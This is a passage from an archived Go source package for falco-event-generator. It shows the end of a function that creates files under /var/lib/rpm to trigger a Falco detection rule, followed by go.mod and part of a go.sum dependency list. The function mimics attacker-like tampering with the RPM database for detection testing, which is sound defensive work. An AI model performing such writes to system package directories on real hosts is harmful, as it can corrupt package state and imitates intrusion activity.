// remove /var directory
defer func() {
if err := os.RemoveAll("/var"); err != nil {
h.Log().WithError(err).Error("failed to remove /var directory")
}
}()
}
// ensure /var/lib exists
if _, err := os.Stat("/var/lib"); os.IsNotExist(err) {
if err := os.Mkdir("/var/lib", os.FileMode(0755)); err != nil {
return err
}
// remove /var/lib subdirectory only
defer func() {
if err := os.RemoveAll("/var/lib"); err != nil {
h.Log().WithError(err).Error("failed to remove /var/lib directory")
}
}()
}
// ensure /var/lib/rpm exists
if _, err := os.Stat("/var/lib/rpm"); os.IsNotExist(err) {
if err := os.Mkdir("/var/lib/rpm", os.FileMode(0755)); err != nil {
return err
}
// remove /var/lib/rpm subdirectory only
defer func() {
if err := os.RemoveAll("/var/lib/rpm"); err != nil {
h.Log().WithError(err).Error("failed to remove /var/lib/rpm directory")
}
}()
}
// create a unique file under /var/lib/rpm directory
file, err := os.CreateTemp("/var/lib/rpm", "falco-event-generator-syscall-WriteBelowRpmDatabase-")
if err != nil {
return err
}
defer func() {
if err := os.Remove(file.Name()); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
return nil
}
07070100000083000081A400000000000000000000000166F189F10000169E000000000000000000000000000000000000002400000000falco-event-generator-0.12.0/go.modmodule github.com/falcosecurity/event-generator
go 1.23.1
require (
github.com/creasty/defaults v1.8.0
github.com/dustin/go-humanize v1.0.1
github.com/falcosecurity/client-go v0.6.1
github.com/go-playground/locales v0.14.1
github.com/go-playground/universal-translator v0.18.1
github.com/go-playground/validator/v10 v10.22.1
github.com/iancoleman/strcase v0.3.0
github.com/mitchellh/go-homedir v1.1.0
github.com/prometheus/procfs v0.15.1
github.com/sirupsen/logrus v1.9.3
github.com/spf13/cobra v1.8.1
github.com/spf13/pflag v1.0.5
github.com/spf13/viper v1.19.0
github.com/stretchr/testify v1.9.0
golang.org/x/sys v0.25.0
k8s.io/apimachinery v0.31.1
k8s.io/cli-runtime v0.31.1
k8s.io/client-go v0.31.1
k8s.io/kubectl v0.31.1
)
// avoid indirect dependency mergo error:
// (ref: https://github.com/darccio/mergo?tab=readme-ov-file#status)
// go: github.com/imdario/mergo@v1.0.1: parsing go.mod:
// module declares its path as: dario.cat/mergo
// but was required as: github.com/imdario/mergo
// trying github.com/imdario/mergo@v1.0.0
// go: github.com/imdario/mergo@v1.0.0: parsing go.mod:
// module declares its path as: dario.cat/mergo
// but was required as: github.com/imdario/mergo
// restoring github.com/imdario/mergo@v0.3.16
replace github.com/imdario/mergo => github.com/imdario/mergo v0.3.16
require (
github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect
github.com/MakeNowJust/heredoc v1.0.0 // indirect
github.com/blang/semver/v4 v4.0.0 // indirect
github.com/chai2010/gettext-go v1.0.3 // indirect
github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
github.com/emicklei/go-restful/v3 v3.12.1 // indirect
github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f // indirect
github.com/fsnotify/fsnotify v1.7.0 // indirect
github.com/fxamacker/cbor/v2 v2.7.0 // indirect
github.com/gabriel-vasile/mimetype v1.4.5 // indirect
github.com/go-errors/errors v1.5.1 // indirect
github.com/go-logr/logr v1.4.2 // indirect
github.com/go-openapi/jsonpointer v0.21.0 // indirect
github.com/go-openapi/jsonreference v0.21.0 // indirect
github.com/go-openapi/swag v0.23.0 // indirect
github.com/gogo/protobuf v1.3.2 // indirect
github.com/golang/protobuf v1.5.4 // indirect
github.com/google/btree v1.1.3 // indirect
github.com/google/gnostic-models v0.6.8 // indirect
github.com/google/go-cmp v0.6.0 // indirect
github.com/google/gofuzz v1.2.0 // indirect
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/gorilla/websocket v1.5.3 // indirect
github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 // indirect
github.com/hashicorp/hcl v1.0.0 // indirect
github.com/imdario/mergo v1.0.1 // indirect
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/leodido/go-urn v1.4.0 // indirect
github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de // indirect
github.com/magiconair/properties v1.8.7 // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mitchellh/go-wordwrap v1.0.1 // indirect
github.com/mitchellh/mapstructure v1.5.0 // indirect
github.com/moby/spdystream v0.5.0 // indirect
github.com/moby/term v0.5.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f // indirect
github.com/pelletier/go-toml/v2 v2.2.3 // indirect
github.com/peterbourgon/diskv v2.0.1+incompatible // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
github.com/sagikazarmark/locafero v0.6.0 // indirect
github.com/sagikazarmark/slog-shim v0.1.0 // indirect
github.com/sourcegraph/conc v0.3.0 // indirect
github.com/spf13/afero v1.11.0 // indirect
github.com/spf13/cast v1.7.0 // indirect
github.com/subosito/gotenv v1.6.0 // indirect
github.com/x448/float16 v0.8.4 // indirect
github.com/xlab/treeprint v1.2.0 // indirect
go.starlark.net v0.0.0-20240725214946-42030a7cedce // indirect
go.uber.org/multierr v1.11.0 // indirect
golang.org/x/crypto v0.27.0 // indirect
golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 // indirect
golang.org/x/net v0.29.0 // indirect
golang.org/x/oauth2 v0.23.0 // indirect
golang.org/x/sync v0.8.0 // indirect
golang.org/x/term v0.24.0 // indirect
golang.org/x/text v0.18.0 // indirect
golang.org/x/time v0.6.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 // indirect
google.golang.org/grpc v1.66.2 // indirect
google.golang.org/protobuf v1.34.2 // indirect
gopkg.in/evanphx/json-patch.v4 v4.12.0 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect
gopkg.in/ini.v1 v1.67.0 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
k8s.io/api v0.31.1 // indirect
k8s.io/component-base v0.31.1 // indirect
k8s.io/klog/v2 v2.130.1 // indirect
k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38 // indirect
k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3 // indirect
sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect
sigs.k8s.io/kustomize/api v0.17.3 // indirect
sigs.k8s.io/kustomize/kyaml v0.17.2 // indirect
sigs.k8s.io/structured-merge-diff/v4 v4.4.1 // indirect
sigs.k8s.io/yaml v1.4.0 // indirect
)
07070100000084000081A400000000000000000000000166F189F1000065F6000000000000000000000000000000000000002400000000falco-event-generator-0.12.0/go.sumgithub.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 h1:L/gRVlceqvL25UVaW/CKtUDjefjrs0SPonmDGUVOYP0=
github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E=
github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ=
github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE=
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
github.com/blang/semver/v4 v4.0.0 h1:1PFHFE6yCCTv8C1TeyNNarDzntLi7wMI5i/pzqYIsAM=
github.com/blang/semver/v4 v4.0.0/go.mod h1:IbckMUScFkM3pff0VJDNKRiT6TG/YpiHIM2yvyW5YoQ=
github.com/chai2010/gettext-go v1.0.3 h1:9liNh8t+u26xl5ddmWLmsOsdNLwkdRTg5AG+JnTiM80=
github.com/chai2010/gettext-go v1.0.3/go.mod h1:y+wnP2cHYaVj19NZhYKAwEMH2CI1gNHeQQ+5AjwawxA=
github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4=
github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/creasty/defaults v1.8.0 h1:z27FJxCAa0JKt3utc0sCImAEb+spPucmKoOdLHvHYKk=
github.com/creasty/defaults v1.8.0/go.mod h1:iGzKe6pbEHnpMPtfDXZEr0NVxWnPTjb1bbDy08fPzYM=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/emicklei/go-restful/v3 v3.12.1 h1:PJMDIM/ak7btuL8Ex0iYET9hxM3CI2sjZtzpL63nKAU=
github.com/emicklei/go-restful/v3 v3.12.1/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc=
github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f h1:Wl78ApPPB2Wvf/TIe2xdyJxTlb6obmF18d8QdkxNDu4=
github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f/go.mod h1:OSYXu++VVOHnXeitef/D8n/6y4QV8uLHSFXX4NeXMGc=
github.com/falcosecurity/client-go v0.6.1 h1:zDiz6PHGPdg3sScWe+4juc5n7FLJGCHI9ohAnuRSMFg=
github.com/falcosecurity/client-go v0.6.1/go.mod h1:zVjGk4GLCoBKCo+lGMmdiiL0Ag7ZVVtVt/ldubjghvk=
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM=
github.com/fxamacker/cbor/v2 v2.7.0 h1:iM5WgngdRBanHcxugY4JySA0nk1wZorNOpTgCMedv5E=
github.com/fxamacker/cbor/v2 v2.7.0/go.mod h1:pxXPTn3joSm21Gbwsv0w9OSA2y1HFR9qXEeXQVeNoDQ=
github.com/gabriel-vasile/mimetype v1.4.5 h1:J7wGKdGu33ocBOhGy0z653k/lFKLFDPJMG8Gql0kxn4=
github.com/gabriel-vasile/mimetype v1.4.5/go.mod h1:ibHel+/kbxn9x2407k1izTA1S81ku1z/DlgOW2QE0M4=
github.com/go-errors/errors v1.5.1 h1:ZwEMSLRCapFLflTpT7NKaAc7ukJ8ZPEjzlxt8rPN8bk=
github.com/go-errors/errors v1.5.1/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og=
github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY=
github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ=
github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY=
github.com/go-openapi/jsonreference v0.21.0 h1:Rs+Y7hSXT83Jacb7kFyjn4ijOuVGSvOdF2+tg1TRrwQ=
github.com/go-openapi/jsonreference v0.21.0/go.mod h1:LmZmgsrTkVg9LG4EaHeY8cBDslNPMo06cago5JNLkm4=
github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE=
github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ=
github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
github.com/go-playground/validator/v10 v10.22.1 h1:40JcKH+bBNGFczGuoBYgX4I6m/i27HYW8P9FDk5PbgA=
github.com/go-playground/validator/v10 v10.22.1/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc=
github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs=
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg=
github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I=
github.com/google/gnostic-models v0.6.8/go.mod h1:5n7qKqH0f5wFt+aWF8CW6pZLLNOfYuF5OpfBSENuI8U=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 h1:FKHo8hFI3A+7w0aUQuYXQ+6EN5stWmeY/AZqtM8xk9k=
github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8/go.mod h1:K1liHPHnj73Fdn/EKuT8nrFqBihUSKXoLYU0BuatOYo=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 h1:+ngKgrYPPJrOjhax5N+uePQ0Fh1Z7PheYoUI/0nzkPA=
github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA=
github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/iancoleman/strcase v0.3.0 h1:nTXanmYxhfFAMjZL34Ov6gkzEsSJZ5DbhxWjvSASxEI=
github.com/iancoleman/strcase v0.3.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho=
github.com/imdario/mergo v0.3.16 h1:wwQJbIsHYGMUyLSPrEq1CT16AhnhNJQ51+4fdHUnCl4=
github.com/imdario/mergo v0.3.16/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de h1:9TO3cAIGXtEhnIaL+V+BEER86oLrvS+kWobKpbJuye0=
github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de/go.mod h1:zAbeS9B/r2mtpb6U+EI2rYA5OAXxsYw6wTamcNW+zcE=
github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY=
github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0=
github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0=
github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=
github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/moby/spdystream v0.5.0 h1:7r0J1Si3QO/kjRitvSLVVFUjxMEb/YLj6S9FF62JBCU=
github.com/moby/spdystream v0.5.0/go.mod h1:xBAYlnt/ay+11ShkdFKNAG7LsyK/tmNBVvVOwrfMgdI=
github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0=
github.com/moby/term v0.5.0/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 h1:n6/2gBQ3RWajuToeY6ZtZTIKv2v7ThUy5KKusIT0yc0=
github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00/go.mod h1:Pm3mSP3c5uWn86xMLZ5Sa7JB9GsEZySvHYXCTK4E9q4=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f h1:y5//uYreIhSUg3J1GEMiLbxo1LJaP8RfCpH6pymGZus=
github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw=
github.com/onsi/ginkgo/v2 v2.19.0 h1:9Cnnf7UHo57Hy3k6/m5k3dRfGTMXGvxhHFvkDTCTpvA=
github.com/onsi/ginkgo/v2 v2.19.0/go.mod h1:rlwLi9PilAFJ8jCg9UE1QP6VBpd6/xj3SRC0d6TU0To=
github.com/onsi/gomega v1.33.1 h1:dsYjIxxSR755MDmKVsaFQTE22ChNBcuuTWgkUDSubOk=
github.com/onsi/gomega v1.33.1/go.mod h1:U4R44UsT+9eLIaYRB2a5qajjtQYn0hauxvRm16AVYg0=
github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=
github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=
github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI=
github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc=
github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk=
github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8=
github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sagikazarmark/locafero v0.6.0 h1:ON7AQg37yzcRPU69mt7gwhFEBwxI6P9T4Qu3N51bwOk=
github.com/sagikazarmark/locafero v0.6.0/go.mod h1:77OmuIc6VTraTXKXIs/uvUxKGUXjE1GbemJYHqdNjX0=
github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE=
github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ=
github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ=
github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo=
github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0=
github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8=
